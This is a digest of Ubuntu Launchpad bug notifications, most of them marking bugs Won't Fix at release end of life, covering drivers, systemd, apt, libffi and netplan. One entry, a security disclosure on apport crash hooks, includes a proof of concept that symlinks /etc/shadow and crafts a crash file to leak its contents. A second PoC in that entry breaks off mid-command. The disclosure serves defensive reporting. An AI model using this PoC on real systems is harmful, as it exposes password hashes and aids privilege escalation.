Status in ubuntu-drivers-common source package in Eoan:
  Won't Fix
Status in ubuntu-meta source package in Eoan:
  Won't Fix

Bug description:
  SRU Justification

  Impact: The nvidia-435 drivers are missing from linux-restricted-
  modules in eoan. On install ubuntu-drivers picks 435 as the newest
  version, and users must use self-signed dkms drivers and enroll a MOK.

  Fix: Add nvidia-435 dkms builds to linux and l-r-m for eoan.

  Test Case: A test build is available in ppa:sforshee/test-builds.
  Verify that signed drivers for nvidia-435 can be installed for eoan
  via the linux-modules-nvidia-435-{generic,lowlatency} packages.

  Regression Potential: The nvidia-435 l-r-m drivers are new packages
  built from the same source as the nvidia-435 dkms driver, so
  regressions are unlikely.

  ---

  The linux-restricted-modules package exists so that users who install
  the nvidia drivers can get known-good, signed modules instead of
  having to locally self-sign and enroll a signing key through MOK.  But
  lrm in eoan is only building driver packages for nvidia 390 and 430,
  and nvidia 435 is present in eoan.

  So on a new Ubuntu 19.10 install, ubuntu-drivers is picking 435 as the
  newest driver instead of using the signed 430 driver.

  We should never allow the archive to get into this situation.  We
  should be enforcing that any version of the nvidia driver that we
  expect ubuntu-drivers to install by default on any hardware is
  integrated into linux-restricted-modules, and we should ensure that
  ubuntu-drivers always prefers the signed drivers over other options.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1856407/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1856407] Re: nvidia-435 is in eoan, linux-restricted-modules only builds against 430, ubiquity gives me the self-signed modules experience instead of using the Canonical-signed m

[Brian Murray]

Ubuntu 19.10 (Eoan Ermine) has reached end of life, so this bug will not
be fixed for that specific release.

** Changed in: nvidia-graphics-drivers-435 (Ubuntu Eoan)
   Status: Confirmed => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to ubuntu-meta in Ubuntu.
https://bugs.launchpad.net/bugs/1856407

Title:
  nvidia-435 is in eoan, linux-restricted-modules only builds against
  430, ubiquity gives me the self-signed modules experience instead of
  using the Canonical-signed modules

Status in linux package in Ubuntu:
  Invalid
Status in linux-restricted-modules package in Ubuntu:
  Invalid
Status in nvidia-graphics-drivers-435 package in Ubuntu:
  Confirmed
Status in ubuntu-drivers-common package in Ubuntu:
  Confirmed
Status in ubuntu-meta package in Ubuntu:
  New
Status in linux source package in Eoan:
  Fix Released
Status in linux-restricted-modules source package in Eoan:
  Fix Released
Status in nvidia-graphics-drivers-435 source package in Eoan:
  Won't Fix
Status in ubuntu-drivers-common source package in Eoan:
  Won't Fix
Status in ubuntu-meta source package in Eoan:
  Won't Fix

Bug description:
  SRU Justification

  Impact: The nvidia-435 drivers are missing from linux-restricted-
  modules in eoan. On install ubuntu-drivers picks 435 as the newest
  version, and users must use self-signed dkms drivers and enroll a MOK.

  Fix: Add nvidia-435 dkms builds to linux and l-r-m for eoan.

  Test Case: A test build is available in ppa:sforshee/test-builds.
  Verify that signed drivers for nvidia-435 can be installed for eoan
  via the linux-modules-nvidia-435-{generic,lowlatency} packages.

  Regression Potential: The nvidia-435 l-r-m drivers are new packages
  built from the same source as the nvidia-435 dkms driver, so
  regressions are unlikely.

  ---

  The linux-restricted-modules package exists so that users who install
  the nvidia drivers can get known-good, signed modules instead of
  having to locally self-sign and enroll a signing key through MOK.  But
  lrm in eoan is only building driver packages for nvidia 390 and 430,
  and nvidia 435 is present in eoan.

  So on a new Ubuntu 19.10 install, ubuntu-drivers is picking 435 as the
  newest driver instead of using the signed 430 driver.

  We should never allow the archive to get into this situation.  We
  should be enforcing that any version of the nvidia driver that we
  expect ubuntu-drivers to install by default on any hardware is
  integrated into linux-restricted-modules, and we should ensure that
  ubuntu-drivers always prefers the signed drivers over other options.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1856407/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1814373] Re: storage / luks / dmsetup regressed (or got better) on ppc64le

[Brian Murray]

Ubuntu 19.10 (Eoan Ermine) has reached end of life, so this bug will not
be fixed for that specific release.

** Changed in: linux (Ubuntu Eoan)
   Status: Confirmed => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1814373

Title:
  storage / luks / dmsetup regressed (or got better) on ppc64le

Status in linux package in Ubuntu:
  Confirmed
Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Xenial:
  Fix Released
Status in linux source package in Bionic:
  New
Status in systemd source package in Bionic:
  Fix Released
Status in linux source package in Cosmic:
  New
Status in systemd source package in Cosmic:
  Fix Released
Status in linux source package in Disco:
  Won't Fix
Status in systemd source package in Disco:
  Fix Released
Status in linux source package in Eoan:
  Won't Fix
Status in systemd source package in Eoan:
  Won't Fix
Status in systemd package in Debian:
  Fix Released

Bug description:
  in disco proposed with new systemd and v4.19 kernel it appears that
  dmsetup / cryptsetup storage either got better or worse.

  Devices take very long to activate, and sometimes remain in use during
  test clean up.

  This leads to udisks autopkgtest failing on ppc64le and systemd's
  "storage" autopkgtest is also failing.

  I've tried to make ppc64le test more resilient, but it's still odd
  that it became unstable in disco, and used to be rock solid on
  ppc64le.

  --
  sru template for systemd upload:

  [impact]
  buffer overflow can cause memory corruption; this is seen in failed 
autopkgtests

  [test case]
  see comment 6

  [regression potential]
  the patch is minimal and clearly correct; however the regression potential is 
around invalid/corrupted keys read from the keyring.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1814373/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1831258] Re: journalctl --list-boots does not recognize boots in a container

[Brian Murray]

Ubuntu 19.10 (Eoan Ermine) has reached end of life, so this bug will not
be fixed for that specific release.

** Changed in: lxc (Ubuntu Eoan)
   Status: Fix Committed => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1831258

Title:
  journalctl --list-boots does not recognize boots in a container

Status in lxc package in Ubuntu:
  Fix Released
Status in lxd package in Ubuntu:
  Invalid
Status in systemd package in Ubuntu:
  Invalid
Status in lxc source package in Bionic:
  Fix Committed
Status in lxd source package in Bionic:
  Invalid
Status in systemd source package in Bionic:
  Invalid
Status in lxc source package in Eoan:
  Won't Fix
Status in lxd source package in Eoan:
  Invalid
Status in systemd source package in Eoan:
  Invalid

Bug description:
  $ lxc launch ubuntu-daily:eoan devel1
  $ sleep 10 # wait for boot

  $ lxc exec devel1 /bin/bash
  root@devel1:~# cat /proc/uptime
  183.00 173.00
  root@devel1:~# cat /etc/cloud/build.info
  build_name: server
  serial: 20190531
  root@devel1:~# lsb_release -sc
  eoan

  root@devel1:~# journalctl --no-pager --list-boots
   0 4ecd6fb081964b75b1ddc09baf1be3d9 Fri 2019-05-31 14:58:48 UTC—Fri 
2019-05-31 15:06:10 UTC
  root@devel1:~# reboot
  root@devel1:~#

  $ lxc exec devel1 /bin/bash
  ## verify the reboot happened
  root@devel1:~# cat /proc/uptime
  12.00 6.00
  ## but journalctl only shows the same boot it did before.
  root@devel1:~# journalctl --no-pager --list-boots
   0 4ecd6fb081964b75b1ddc09baf1be3d9 Fri 2019-05-31 14:58:48 UTC—Fri 
2019-05-31 15:09:10 UTC

  ProblemType: Bug
  DistroRelease: Ubuntu 19.10
  Package: systemd 240-6ubuntu5
  ProcVersionSignature: Ubuntu 4.15.0-50.54-generic 4.15.18
  Uname: Linux 4.15.0-50-generic x86_64
  ApportVersion: 2.20.11-0ubuntu2
  Architecture: amd64
  Date: Fri May 31 15:06:24 2019
  MachineType: LENOVO 20KGS3Y900
  ProcEnviron:
   TERM=xterm-256color
   PATH=(custom, no user)
   LANG=C.UTF-8
  ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.15.0-50-generic 
root=UUID=25df9069-80c7-46f4-a47c-305613c2cb6b ro quiet splash vt.handoff=1
  SourcePackage: systemd
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 04/20/2019
  dmi.bios.vendor: LENOVO
  dmi.bios.version: N23ET63W (1.38 )
  dmi.board.asset.tag: Not Available
  dmi.board.name: 20KGS3Y900
  dmi.board.vendor: LENOVO
  dmi.board.version: SDK0J40697 WIN
  dmi.chassis.asset.tag: No Asset Information
  dmi.chassis.type: 10
  dmi.chassis.vendor: LENOVO
  dmi.chassis.version: None
  dmi.modalias: 
dmi:bvnLENOVO:bvrN23ET63W(1.38):bd04/20/2019:svnLENOVO:pn20KGS3Y900:pvrThinkPadX1Carbon6th:rvnLENOVO:rn20KGS3Y900:rvrSDK0J40697WIN:cvnLENOVO:ct10:cvrNone:
  dmi.product.family: ThinkPad X1 Carbon 6th
  dmi.product.name: 20KGS3Y900
  dmi.product.version: ThinkPad X1 Carbon 6th
  dmi.sys.vendor: LENOVO

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/lxc/+bug/1831258/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1921626] Re: size mismatch error if request of unknown size is larger than others

[Brian Murray]

Ubuntu 20.10 (Groovy Gorilla) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: apt (Ubuntu Groovy)
   Status: New => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1921626

Title:
  size mismatch error if request of unknown size is larger than others

Status in apt package in Ubuntu:
  Fix Released
Status in apt source package in Bionic:
  Fix Released
Status in apt source package in Focal:
  Fix Released
Status in apt source package in Groovy:
  Won't Fix
Status in apt source package in Hirsute:
  Fix Released

Bug description:
  [Impact]

  Downloads fail if:

  - there is at least one package each with Size and no size on a mirror
  - a package without a Size field is larger than a package with a Size field 
that's currently in the pipeline

  Also, this was silent, we need to add an error so people fix repos.
  For hirsute and earlier, this is a warning; for hirsute+1 it's an
  error so people's CI fails on them and doesn't "succeed with warnings"

  [Test plan]

  We have included a test case in the apt integration tests, which
  downloads three packages a, b, c where b is largest and has no Size
  field. With 2.2.2, it fails; with 2.2.3 it succceeds.

  We have also added a test case that a warning is shown.

  [Where problems could occur]
  Problems can only occur if you try to download packages without a Size field, 
as that is the only place code changes (adding code guarded with if ... Size 
... == 0; 0 being unknown size).

  [Other changes]
  2.2.3 includes the same change as 2.2.2ubuntu1

  [Original bug report]

  1) Ubuntu 18.04.5 LTS

  2) apt 1.6.12ubuntu0.2

  3) What you expected to happen

  I set a custom set of repositories in /etc/apt/sources.list and then I
  run "apt install ". I expect the command to download
  and install the packages.

  4) What happened instead

  "apt install ..." fails during the download phase with "File has
  unexpected size "

  5) What I've established trying to debug the issue:

  - Disabling http pipelining resolves the issue: "apt 
-oAcquire::http::Pipeline-Depth=0 install ..."
  - All the packages, and repo metadata in the referenced repositories is 
correct
  - The issue is easily reproducible in my setup with different repositories
  - tcpdump shows that requests and responses are in the correct order, and 
contain the correct data

  More details about the issue:
  https://projects.theforeman.org/issues/32178

  With all the above in mind, it appears that this must be a bug in apt's http 
pipeline handling.
  It seem that apt is trying to match a request to do wrong response, and size 
doesn't match.

  I've attached an example log, where the error pops up for multiple
  packages, and they all appear to be compared to one size (86464
  bytes). That size is correct for one of the package being downloaded,
  but somehow apt is trying to match to multiple other packages.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1921626/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1903890] Re: libffi7 missing from Ubuntu (pip's python3-openssl appears to be built against the wrong version of libffi)

[Brian Murray]

Ubuntu 20.10 (Groovy Gorilla) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: libffi7 (Ubuntu Groovy)
   Status: Triaged => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libffi in Ubuntu.
https://bugs.launchpad.net/bugs/1903890

Title:
  libffi7 missing from Ubuntu (pip's python3-openssl appears to be built
  against the wrong version of libffi)

Status in libffi package in Ubuntu:
  Fix Released
Status in libffi7 package in Ubuntu:
  Fix Released
Status in pyopenssl package in Ubuntu:
  Invalid
Status in libffi source package in Groovy:
  Won't Fix
Status in libffi7 source package in Groovy:
  Won't Fix
Status in pyopenssl source package in Groovy:
  Invalid

Bug description:
  Ubuntu groovy and up upgraded to libffi8ubuntu1, thus making Ubuntu
  incompatible with 3rd-party binaries that desire to use libffi7.

  Let's backport and provide libffi7 runtime library only, for those.

  Not sure how that would work with ctypes though.

  
  ---

  I've just upgraded to Ubuntu 20.10 which comes with python3-openssl
  version 19.0.1-2.  It breaks (at least some) Python applications that
  use the `requests` library to access HTTPS URLS.  For instance, this
  stack trace (note that I have clipped the first few frames from the
  stack as they are proprietary):

    File "/home/tkcook/.local/lib/python3.8/site-packages/requests/api.py", 
line 76, in get
  return request('get', url, params=params, **kwargs)
    File "/home/tkcook/.local/lib/python3.8/site-packages/requests/api.py", 
line 61, in request
  return session.request(method=method, url=url, **kwargs)
    File 
"/home/tkcook/.local/lib/python3.8/site-packages/requests/sessions.py", line 
530, in request
  resp = self.send(prep, **send_kwargs)
    File 
"/home/tkcook/.local/lib/python3.8/site-packages/requests/sessions.py", line 
643, in send
  r = adapter.send(request, **kwargs)
    File 
"/home/tkcook/.local/lib/python3.8/site-packages/requests/adapters.py", line 
439, in send
  resp = conn.urlopen(
    File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 670, 
in urlopen
  httplib_response = self._make_request(
    File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 381, 
in _make_request
  self._validate_conn(conn)
    File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 978, 
in _validate_conn
  conn.connect()
    File "/usr/lib/python3/dist-packages/urllib3/connection.py", line 342, in 
connect
  self.ssl_context = create_urllib3_context(
    File "/usr/lib/python3/dist-packages/urllib3/util/ssl_.py", line 289, in 
create_urllib3_context
  context.verify_mode = cert_reqs
    File "/usr/lib/python3/dist-packages/urllib3/contrib/pyopenssl.py", line 
438, in verify_mode
  self._ctx.set_verify(_stdlib_to_openssl_verify[value], _verify_callback)
    File "/usr/lib/python3/dist-packages/OpenSSL/SSL.py", line 1119, in 
set_verify
  self._verify_helper = _VerifyHelper(callback)
    File "/usr/lib/python3/dist-packages/OpenSSL/SSL.py", line 337, in __init__
  self.callback = _ffi.callback(
  SystemError: ffi_prep_closure(): bad user_data (it seems that the version of 
the libffi library seen at runtime is different from the 'ffi.h' file seen at 
compile-time)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/libffi/+bug/1903890/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1917904] Re: Arbitrary file reads

[Brian Murray]

Ubuntu 20.10 (Groovy Gorilla) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: openjdk-lts (Ubuntu Groovy)
   Status: New => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1917904

Title:
  Arbitrary file reads

Status in Apport:
  Fix Released
Status in apport package in Ubuntu:
  Fix Released
Status in apport source package in Bionic:
  Fix Released
Status in openjdk-lts source package in Bionic:
  New
Status in apport source package in Focal:
  Fix Released
Status in openjdk-lts source package in Focal:
  New
Status in apport source package in Groovy:
  Fix Released
Status in openjdk-lts source package in Groovy:
  Won't Fix
Status in apport source package in Hirsute:
  Fix Released
Status in openjdk-lts source package in Hirsute:
  Won't Fix
Status in apport source package in Impish:
  Fix Released
Status in openjdk-lts source package in Impish:
  Won't Fix

Bug description:
  # Vulnerabilities in Apport
  During a cursory code review, several potential security issues in `apport` 
and crash-related hooks in packages such as `Xorg` and `openjdk-14-lts` have 
been identified.

  While the issue regarding the `openjdk-14-lts` package is exploitable
  on default installations, the remaining issues most likely are mitigated by 
the sysctl setting `fs.protected_symlinks` on default Ubuntu installations.

  With regard to issues mitigated by `fs.protected_symlinks`, it is not
  clear if they are considered to be part of the threat model, but
  nonetheless will be included in this report. Further, if the issues
  regarding package hooks should be reported in the corresponding
  packages' bug tracker, please let me know.

  ## Issue 1: Arbitrary file read in package-hooks/source_openjdk-*.py
  The `add_info()` function allows for a directory traversal by building a file 
path using user-controlled data without properly sanitizing the resulting path.

  ```Python
  def add_info(report, ui=None):
  if report['ProblemType'] == 'Crash' and 'ProcCwd' in report:
  # attach hs_err_.pid file
  cwd = report['ProcCwd']
  pid_line = re.search("Pid:\t(.*)\n", report["ProcStatus"])
  if pid_line:
  pid = pid_line.groups()[0]
  path = "%s/hs_err_pid%s.log" % (cwd, pid)
  # make sure if exists
  if os.path.exists(path):
  content = read_file(path)
  # truncate if bigger than 100 KB
  # see LP: #1696814
  max_length = 100*1024
  if sys.getsizeof(content) < max_length:
  report['HotspotError'] = content
  report['Tags'] += ' openjdk-hs-err'
  else:
  report['HotspotError'] = content[:max_length] + \
  "\n[truncated by openjdk-11 apport hook]" + \
  "\n[max log size is %s, file size was %s]" % \
  (si_units(max_length), 
si_units(sys.getsizeof(content)))
  report['Tags'] += ' openjdk-hs-err'
  ```

  By injecting a `ProcCwd` such as `/home/user/` and a `Pid` such as
  `0`, the function includes an arbitrary file by following a potential
  symbolic link `/home/user/hs_err_pid0.log`.

  ### PoC
  ```
  $ sudo apt install openjdk-14-jdk

  $ sudo sysctl fs.protected_symlinks
  fs.protected_symlinks = 1

  $ ln -s /etc/shadow /home/user/hs_err_pid0.log

  $ pid=$'\t0';cat << EOF > /var/crash/poc.crash
  ProblemType: Crash
  ExecutablePath: /poc
  Package: openjdk-lts 123
  SourcePackage: openjdk-lts
  ProcCwd: /home/user
  ProcStatus:
   Pid:$pid
   Uid:$pid
  EOF

  $ grep -A3 root: /var/crash/poc.crash
   root:!:18393:0:9:7:::
   daemon:*:18375:0:9:7:::
   bin:*:18375:0:9:7:::
   sys:*:18375:0:9:7:::
  ```

  ## Issue 2: Arbitrary file read in package-hooks/source_xorg.py (Info)
  The root cause of this issue stems from the fact, that a potentially
  user-controlled file in the `/tmp` directory is not checked for being a 
symbolic link and therefore might allow including arbitrary files in the 
processed crash report:

  Note: Requires `fs.protected_symlinks=0`

  ```Python
  def attach_3d_info(report, ui=None):
  ...

  # Compiz internal state if compiz crashed
  if True or report.get('SourcePackage','Unknown') == "compiz" and 
"ProcStatus" in report:
  compiz_pid = 0
  pid_line = re.search("Pid:\t(.*)\n", report["ProcStatus"])
  if pid_line:
  compiz_pid = pid_line.groups()[0]
  compiz_state_file = '/tmp/compiz_internal_state%s' % compiz_pid
  attach_file_if_exists(report, compiz_state_file, 
"compiz_internal_states")
  ```

  ### PoC
  ```
  $ sudo sysctl fs.protected_symlinks=0
  fs.protected_symlinks = 0

  $ ln -s 

[Touch-packages] [Bug 1867375] Re: systemd-networkd: UseRoutes behavior change with introduction of UseGateway param

[Brian Murray]

Ubuntu 20.10 (Groovy Gorilla) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: netplan.io (Ubuntu Groovy)
   Status: Confirmed => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1867375

Title:
  systemd-networkd: UseRoutes behavior change with introduction of
  UseGateway param

Status in netplan.io package in Ubuntu:
  Confirmed
Status in systemd package in Ubuntu:
  Fix Released
Status in netplan.io source package in Bionic:
  Invalid
Status in systemd source package in Bionic:
  Fix Released
Status in netplan.io source package in Eoan:
  Invalid
Status in systemd source package in Eoan:
  Fix Released
Status in netplan.io source package in Focal:
  Confirmed
Status in systemd source package in Focal:
  Fix Released
Status in netplan.io source package in Groovy:
  Won't Fix
Status in systemd source package in Groovy:
  Fix Released

Bug description:
  [impact]

  the networkd UseRoutes parameter allowed ignoring all routes provided
  by a dhcp4 server, including the route via the dhcp4-provided gateway.
  This was the behavior of networkd until recently, and in Focal the
  UseRoutes parameter does *not* prevent networkd from adding the route
  via the dhcp4-provided gateway.  This is now controlled with a new
  parameter, UseGateway.

  The systemd in Focal unfortunately has part of the upstream code; it
  no longer ignores the gateway route when UseRoutes=false is specified,
  but also it does not include the UseGateway parameter.

  Before Focal, networkd did not allow ignoring dhcpv4 routes and the
  gateway separately; the UseRoutes= parameter either used, or ignored,
  both.  This is why upstream added the UseGateway= paramter, which
  should be backported to allow control of ignoring the dhcpv4 routes
  and gateway separately.

  [test case]

  In Focal, bug 1872589 has a good test case netplan config, but a very
  quick test can be done with the networkd config:

  [Match]
  Name=eth0

  [Network]
  DHCP=ipv4
  LinkLocalAddressing=ipv6

  [DHCP]
  RouteMetric=100
  UseMTU=true
  UseRoutes=false

  this results in the system incorrectly setting a route via the default
  gateway:

  root@lp1867375-f:~# ip r
  default via 10.202.51.1 dev eth0 proto dhcp src 10.202.51.86 metric 100
  10.202.51.0/24 dev eth0 proto kernel scope link src 10.202.51.86
  10.202.51.1 dev eth0 proto dhcp scope link src 10.202.51.86 metric 100

  Before Focal, the above test case shows "correct" behavior, but there
  is no way to ignore the dhcpv4 routes but use the dhcpv4 gateway.
  This pre-Focal, the test case would be to use the UseGateway=
  parameter, e.g.:

  [Match]
  Name=eth0

  [Network]
  DHCP=ipv4
  LinkLocalAddressing=ipv6

  [DHCP]
  RouteMetric=100
  UseMTU=true
  UseRoutes=false
  UseGateway=true

  which *should* result in the default gateway being configured:

  root@lp1867375-f:~# ip r
  default via 10.202.51.1 dev eth0 proto dhcp src 10.202.51.86 metric 100
  10.202.51.0/24 dev eth0 proto kernel scope link src 10.202.51.86
  10.202.51.1 dev eth0 proto dhcp scope link src 10.202.51.86 metric 100

  [regression potential]

  Any regression would likely involve incorrect setting, or ignoring, of
  dhcpv4-provided routes, and/or incorrect setting, or ignoring, of the
  dhcpv4-provided gateway.

  [scope]

  This is fixed by these upstream PRs:
  https://github.com/systemd/systemd/pull/15443
  https://github.com/systemd/systemd/pull/15136
  https://github.com/systemd/systemd/pull/14983

  Parts of all those PRs are required in Focal, Eoan, and Bionic.

  I am not fixing this for Xenial, at this time.

  For Debian, I opened this MR:
  https://salsa.debian.org/systemd-team/systemd/-/merge_requests/92

  For Groovy, I opened this MR:
  
https://code.launchpad.net/~ddstreet/ubuntu/+source/systemd/+git/systemd/+merge/383661

  [other info]

  to properly support separation of 'routes' and 'gateways' received via
  dhcp4, SRU releases should also support the UseGateway parameter,
  which is what this bug was originally opened requesting.

  [original description]

  requesting backport of PR https://github.com/systemd/systemd/pull/14983 which 
fixes the issue described in
  https://github.com/systemd/systemd/issues/14982 to 18.04 (bionic)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/netplan.io/+bug/1867375/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1876884] Re: netplan using incorrect renderer

[Brian Murray]

Ubuntu 20.10 (Groovy Gorilla) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: dropbear (Ubuntu Groovy)
   Status: Triaged => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to initramfs-tools in Ubuntu.
https://bugs.launchpad.net/bugs/1876884

Title:
  netplan using incorrect renderer

Status in dropbear package in Ubuntu:
  Triaged
Status in initramfs-tools package in Ubuntu:
  Fix Released
Status in netplan.io package in Ubuntu:
  Invalid
Status in dropbear source package in Focal:
  Triaged
Status in initramfs-tools source package in Focal:
  Confirmed
Status in netplan.io source package in Focal:
  Invalid
Status in dropbear source package in Groovy:
  Won't Fix
Status in initramfs-tools source package in Groovy:
  Fix Released
Status in netplan.io source package in Groovy:
  Invalid

Bug description:
  After upgrading ubuntu desktop from 19.10 to 20.04, it's impossible to enable 
screen sharing.
  It used to work fine on 19.10. 

  When clicking the enable/disable toggle, the following message is
  logged in journalctl:

  Failed to enable service vino-server:
  GDBus.Error:org.freedesktop.DBus.Error.InvalidArgs: Sharing cannot be
  enabled on this network, status is '0'

  This is reproducible on both computers I've upgraded. They're both on
  the latest 20.04 package updates as of today.

  I've done some research to rule out common faults:

  $ cat /etc/netplan/01-network-manager-all.yaml 
  # Let NetworkManager manage all devices on this system
  network:
version: 2
renderer: NetworkManager

  (Yes, I've ofc ran netplan apply, but the file already had this
  content anyway.)

  $ cat /etc/NetworkManager/NetworkManager.conf 
  [main]
  plugins=ifupdown,keyfile

  [ifupdown]
  managed=false

  [device]
  wifi.scan-rand-mac-address=no

  
  Also, this seems unrelated to #1871787:
  $ dpkg -l |grep gnome-settings-daemon
  ii  gnome-settings-daemon  3.36.0-1ubuntu2
  ii  gnome-settings-daemon-common   3.36.0-1ubuntu2
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.11-0ubuntu27
  Architecture: amd64
  CasperMD5CheckResult: skip
  DistroRelease: Ubuntu 20.04
  InstallationDate: Installed on 2020-01-17 (108 days ago)
  InstallationMedia: Ubuntu 19.10 "Eoan Ermine" - Release amd64 (20191017)
  Package: gnome-control-center 1:3.36.1-1ubuntu5
  PackageArchitecture: amd64
  ProcVersionSignature: Ubuntu 5.4.0-28.32-generic 5.4.30
  Tags:  focal
  Uname: Linux 5.4.0-28-generic x86_64
  UpgradeStatus: Upgraded to focal on 2020-04-28 (6 days ago)
  UserGroups:
   
  _MarkForUpload: True

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/dropbear/+bug/1876884/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1917677] Re: ubuntu: ucf tracking of valid known md5sums should be limited to only those md5sums that affect a given distro release

[Brian Murray]

Ubuntu 20.10 (Groovy Gorilla) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: unattended-upgrades (Ubuntu Groovy)
   Status: New => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to unattended-upgrades in
Ubuntu.
https://bugs.launchpad.net/bugs/1917677

Title:
  ubuntu: ucf tracking of valid known md5sums   should be limited to
  only those md5sums that affect a given distro release

Status in unattended-upgrades package in Ubuntu:
  New
Status in unattended-upgrades source package in Bionic:
  New
Status in unattended-upgrades source package in Focal:
  New
Status in unattended-upgrades source package in Groovy:
  Won't Fix
Status in unattended-upgrades source package in Hirsute:
  Won't Fix

Bug description:
  Currently the project tracks all valid md5sums of permutations of
  50unattended-upgrades.conf in a single md5sum file that contains every
  md5sum of every historic version of all unique distros:

   50unattended-upgrades.Debian
   50unattended-upgrades.Devuan
   50unattended-upgrades.Raspbian
   50unattended-upgrades.Ubuntu

  Ultimately ucf for a given packaging release should only track the
  applicable md5sums which are expected to be seen on that particular
  distribution and release.

  For example:
 On Ubuntu Bionic: valid md5sums should be limited to the md5sum of the 
most recent Ubuntu Xenial 50unattended-upgrades.conf and the md5sums of 
previous Ubuntu Bionic releases to allow Xenial->Bionic and Bionic->Bionic 
upgrades without prompt.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/unattended-upgrades/+bug/1917677/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1892825] Re: update-locale not perform correctly sanity checks

[Brian Murray]

Ubuntu 21.04 (Hirsute Hippo) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: pam (Ubuntu Hirsute)
   Status: New => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to pam in Ubuntu.
https://bugs.launchpad.net/bugs/1892825

Title:
  update-locale not perform correctly sanity checks

Status in glibc package in Ubuntu:
  Fix Released
Status in pam package in Ubuntu:
  New
Status in glibc source package in Bionic:
  Fix Released
Status in pam source package in Bionic:
  New
Status in glibc source package in Focal:
  Fix Released
Status in pam source package in Focal:
  New
Status in glibc source package in Hirsute:
  Won't Fix
Status in pam source package in Hirsute:
  Won't Fix
Status in glibc source package in Impish:
  Won't Fix
Status in pam source package in Impish:
  Won't Fix

Bug description:
  [impact]
  A simple typo using the update-locale script can render a system inoperable 
without booting into single user mode or similar:

  $ sudo update-locale LANGUAGE = en_US.UTF-8
  $ sudo -s
  sudo: pam_open_session: Bad item passed to pam_*_item()
  sudo: policy plugin failed session initialization

  [test case]
  $ cp /etc/default/locale /tmp/locale
  $ update-locale --locale-file /tmp/locale LANGUAGE = en_US.UTF-8

  "diff -u /etc/default/locale /tmp/locale" should be empty.

  $ update-locale --locale-file /tmp/locale LANGUAGE=en_US.UTF-8

  The LANGUAGE=en_US.UTF-8 line should have been replaced by
  LANGUAGE=en_GB.UTF-8.

